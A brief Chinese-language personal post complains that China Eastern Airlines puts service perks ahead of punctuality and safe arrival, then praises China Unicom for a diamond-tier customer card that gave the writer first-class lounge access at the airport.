顺便骂一下东航,Md什么时候你能明白,我们要的不是多好的服务,多好的机上点心,要的只是你能准点,安全的把我送到目的地。分清主营业务是什么再搞你的乱开八糟的服务好不好?不是一次两次了,为什么每次坐你们航班都搞这种飞机?
顺便赞一下中国联通,没想到拿了一张钻石卡(A类大客户,哈哈想当年我也是做大客户系统的.),去机场竟然可以到头等仓休息室(我是穷人,以前没享受过.),让我爽得不行。。。呵呵。